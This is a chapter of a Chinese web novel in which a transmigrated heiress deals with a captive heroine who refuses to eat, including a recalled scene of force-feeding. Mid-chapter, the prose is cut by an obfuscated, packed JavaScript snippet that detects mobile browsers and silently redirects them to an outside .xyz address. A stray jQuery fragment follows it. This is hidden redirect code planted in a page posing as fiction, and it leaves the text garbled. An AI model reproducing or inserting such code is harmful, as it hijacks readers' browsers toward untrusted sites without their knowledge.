聪明的人见微知著。
江鲜按捺住想要探测她体温的心绪,缱绻指尖,缓缓收回来。
静潋望着她收回的手,并没有放松警惕,而是将天鹅绒被往上提拉,盖住双肩、脖颈,甚至下巴,只露出一双倔强的眼睛,她目如点漆,似乎要将她吸进去一般。
面对对方的小心警惕,江鲜忽然升起几分玩弄的意味,当然这份玩弄不至于真的伤害到静潋,又能再一次稳固自己的人设。
她一只手隔着薄薄的鹅绒被,一把扼住静潋的大腿,她的大腿是那么纤细,就算有鹅绒被的加持,也叫她不盈一握。
静潋分明受到惊吓,她深吸一口气,抬手朝她打来。
她举起另一只手,钳制住她的手腕,她正输着掖,白如嫩笋的手掌举起来,一抹鲜红的颜色从输液管倒流出来,艳丽而病态。
江鲜瞳孔紧缩几分,立即反手将她小手按下去,那条红色宛若情丝的线才回流入她体内。
“别乱动。”她直视着她的眼睛,眼里全是王权霸气:“你的全身上下我都看过,就目前来说,胸前二两肉根本勾不起我一丝一毫的情绪,瘦骨嶙峋,跟个难民似的,真以为我很稀罕你啊?还有,你身上的血腥味,药味,让我闻着恶心,十分倒人胃口,我看着你连饭都吃不下,更别提对你有什么性趣了。好好养身体,剩下的事,我们慢慢聊。”
边说着,边用掌心摩挲她的小手,她的肌肤好滑腻啊,冰冰凉凉的,尽管是大热天,她也触摸不到她的温度。
江鲜内心疼惜,不忍搓了搓她手背,试图将她搓热。
那块冰玉一般的手在她手掌颤抖了几下,便滑入泥鳅一般溜走了。
静潋讨厌与她肌肤接触,这个变态,嘴上一回事,却抓住各种机会盘弄她。
她厌弃地歪在床另一端,朝她丢一个眼神:“我和你,没什么可聊。”
江鲜的手悬空,尴尬地抓了几下空气,站起身来,手指挑弄了一下及肩的长发,笑吟吟说:“迟早,你都会是我的。”
她转过身,单手叉着腰,又想起什么,转头道:“我叫厨房给你准备了一些餐食,你好好享用。”
说完,甩门而去。
房间静默下来,听着脚步声消失在回廊后,静潋紧绷的心才缓缓松懈,四肢也柔软下来。好奇怪,江鲜为什么没有趁她病弱毫无反抗之力,从而强迫她。
难道是……她想在饭里面下药。
因为江鲜知道,哪怕她只有一口气在,也是绝对不会屈服,所以便想出这般下三烂的法子。
她越想,心中越是笃定,一定是这样,因为她恍惚听见过,江鲜那两个管家鬼鬼祟祟在商量着什么。
思及此,外面传来敲门声:“九小姐,我们是给你送餐来着,方便的话,我们进来了。”
不方便。
静潋如此想着,但也没说出口,两人便推门而入,小型餐车上摆了一圆形半透明蕾丝菜罩,依稀可见罩子下面陈设的精美食物。
然而那些精美的食物在一瞬间变形,牛排变得血肉模糊,番茄汤伸出手来,就连意大利面也扭动着身躯朝她绑来,绑住她的四肢,叫她不能动弹。
她大概是精神出问题了,不然脑海里怎么会出现这样可怖的东西。
两人将食物摆好,小声叮嘱了几句,便都退了出去。
静潋望着天花板发呆,无心去想食物,脑海里不断浮现比江鲜还要可怕的场景。
母亲,母亲一定是出事了。
母亲出了事,她又遇上这样的事,生不如死,哪还有心情吃饭。
漫漫长夜,她瞪着窗外椰树上升起的月亮,月影沉沉,不知什么时候,方才入睡。
翌日一早,江鲜从2000mm的大床上醒来,她松软伸了个懒腰,从床上坐起,阳光洒在她的头发上,脸颊上,泛起一层金黄色的光芒。
唤醒她睡意的同时也唤醒了她的味蕾。
肚子有点饿,她起身洗漱完毕,换好日常家居服,一件白色衬衫和长版宽松浅蓝牛仔裤,趿着帆布鞋,走出房间,迤逦从旋转楼梯下来。
餐桌是一张三米长一米宽的方形圆桌,上面铺陈着鎏金锦缎桌布,摆满香烛,四周落了十二张羊绒椅凳,紧紧簇围着。
见江鲜下楼,管家们立即推着餐车上前,拉椅子的拉椅子,递热毛巾的递毛巾,刀叉摆满身前,清脆有声,一切都是那么惬意自然。
她便大剌剌坐下,享受着被众人簇拥的时刻。
面前落下一盘菜,由钢化玻璃罩罩着,上面蒸腾着水汽,像是水晶一般,看不见里边是什么食物。
也不知道原主早上吃什么,她闻到一股黑胡椒气息飘来,内心早已摩拳擦掌迫不及待起来。
“boss,请当心。”
揭开玻璃罩,面前蒸腾起一股热气,烟雾缭绕过来,带着一股不妙的味道,江鲜吸吸鼻子,定睛一看,面前正摆放着一块血肉模糊的牛排。
……
大清早的,就搞这么刺激!
她咽口唾沫,抬手松了松衣领:“怎么又是牛排?”
面前的一排管家鸦雀无声,因为这是boss日常的饮食起居,她们谁也没敢改。
江鲜见那些人敢疑惑却不敢言,便知道一切尽在掌握。
于是她大手一挥:“撤了,换成早茶点心。”
漫不经心地做着一切指挥,仿佛她天生就是被簇拥长大的。
她在脑海问系统:“我以前究竟是个怎样的人。”
系统:“等你完成任务,逃离这具身体就明白了。”
江鲜只觉得没劲,没有再问。
须臾,新上的早茶已经摆到面前,江鲜也不忘吩咐厨房给二楼的那位病人送去了一份,她才刚刚咬了一口奶黄包,便见王姨忙不迭跑上来:“江小姐,不好了,九小姐绝食了。”
“绝食?”
“对,绝食,昨天晚上送去的餐,还有今天早上送去的餐,她一口没吃。再这样下去,她会活活饿死的。”
这样的事急不来,她没有起身,故作镇静继续喝着水,喝了半天发现一口水也没有沾到嘴唇,嗓子干道:“由着她去,还能真叫她饿死了不成。”
放下高脚杯,晃动里面白开水,江鲜垂眸,似乎从倒影中看见那张白开水一般的容颜。
用过早饭,她趁人不注意,悄悄潜近静潋所居的卧室门口,清了清嗓音,叩了三声门:“又在闹什么脾气,我进来了。”
她不吃饭,总得想个办法说服她。
说罢,也不等里边的人回应,伸手落在门把手上,往下一按,冰凉的触感袭来,里边门闩反锁,将她二人阻隔开来,一个在里,一个在外。
江鲜瞳孔一缩,心想这不是第一回出这样的事,脑海中忽然闪现原主之前也被拒之门外的场景。
静潋绝食,原主一脚踹开房门,将一份三分熟尚且未切割的牛排,用叉子叉起来,一手掐住她的嘴,用力挤开,再将血淋淋的牛排往她嘴里放。
“吃啊,怎么不吃,这是我最喜欢的食物,你为什么不喜欢?”
静潋咬紧牙关,带着满脸的牛血,倔强地望着她,望着她,紧紧望着她,那眼神宛若利刀,穿破时空,朝她这个无辜者刺来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019068|162175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>……
她打了个寒战,不再按压那道房锁,手缓缓落下来,回到自己房间,偷看监控。
大床上,静潋面无表情地仰躺着,双目空中面向天花板,不知道在想些什么。她左手边的小餐桌上摆了琳琅满目色香俱全的早茶,似乎还有热气,香气缭绕,但是她看都没有看一眼,求生欲十分低迷。
给她一点时间,她自己会起来吃饭的。
她是女主,女主是不会死的。
江鲜并没有强行想办法逼她吃饭,但也碍于看不得她可怜巴巴的模样,于是按掉电脑关机键,关闭了监控。
希望她再次打开的时候,静潋已经吃过饭了。
下午休息时分,江鲜在脑海与系统沟通了关于原主基本事宜,事业方面,目前,她正在休假中,经纪人正在洽谈她下一个综艺节目,感情方面,她刚刚断掉了正打得火热的八小姐,徐婉。
所以目前,她闲得在家抠脚,简单了解了基础情况,下午去海边游了个泳,回来坐在一楼客厅,看电视里正在播报的新闻。
好巧不巧,新闻里正在播报一则寻人启事,2025年某月某日,一艘开往济州岛的豪华游轮在途中遭遇风浪,死亡一人,年龄四十五岁的中年妇女。失踪一人,年龄二十五岁的妙龄少女。
江鲜晃了一眼屏幕,从游轮的监控中看见一个熟悉的身影,身穿白色雪纺裙,薄薄的一片,似乎被风就要吹倒。
可想而知,那个失踪的少女便是她。
新闻联播又提示,两人系母女关系。
紧接着,画面出现了一个身着暗色唐装,手捻檀香佛珠的男人,他长得温文儒雅,戴着金边眼镜,双眼通红,正在用一条爱马仕手巾擦拭那并不存在的眼泪。
“死去的是我的妻子……失踪的是我的孩子,希望你们能尽快找到她。”
哽咽,痛苦,纠结在他身上体现得淋漓尽致。
江鲜望着他,嗤了一口气,这表演得算不上滴水不漏,但也能瞒天过海。
她看了一眼,实在是看不下去,于是拿起遥控板,摁掉了电视开关。
四下一片寂静,她心中忽然升出一股同情,也不知道静潋知道了要如何。
得有多难过。
刚想着,晚饭时间到了。
管家们又开始张罗布置餐桌,点香薰蜡烛,铺设华丽锦缎,摆放精美餐盘,播放英伦摇滚。里里外外忙活妥帖,便邀请江鲜上桌吃饭。
她一点也不饿,没有去看餐桌,而是朝着二楼的西边遥遥一望:“她什么情况了?”
小雅知道她在问什么,楼上那位主子从昨天开始,到今天的早、中、晚,已经是滴水未进。她害怕地弓着身,眼睛一瞥一瞥:“boss,她一直没有吃饭。”
“一直?”
江鲜瞳孔骤然收紧,她不知道人不吃不喝的极限是多少,但是静潋的极限她知道,她带着一身病,若不是不吃不喝,铁定抗不过今夜。
“系统,她不是女主角吗?不吃饭是打算把自己饿死?”
“话虽这么说,但是目前她的确没有什么求生欲,且生命值一度降到了0.01。”
也就是说,她目前是死人微活?
那不行,女主角都死了,她还不得挂了。
脑海一团乱,她故作镇静,忽然看了一眼电视机,又再次望向二楼,眉眼笃定:“带上餐食,跟我一起上楼。”
“好,boss!”
江鲜一步跨三个台阶,风风火火冲向二楼西厢房,于门前站定,收腿,一脚踹破房门,砰的一声,门从门框被撕开,四周掉下圈白色粉尘。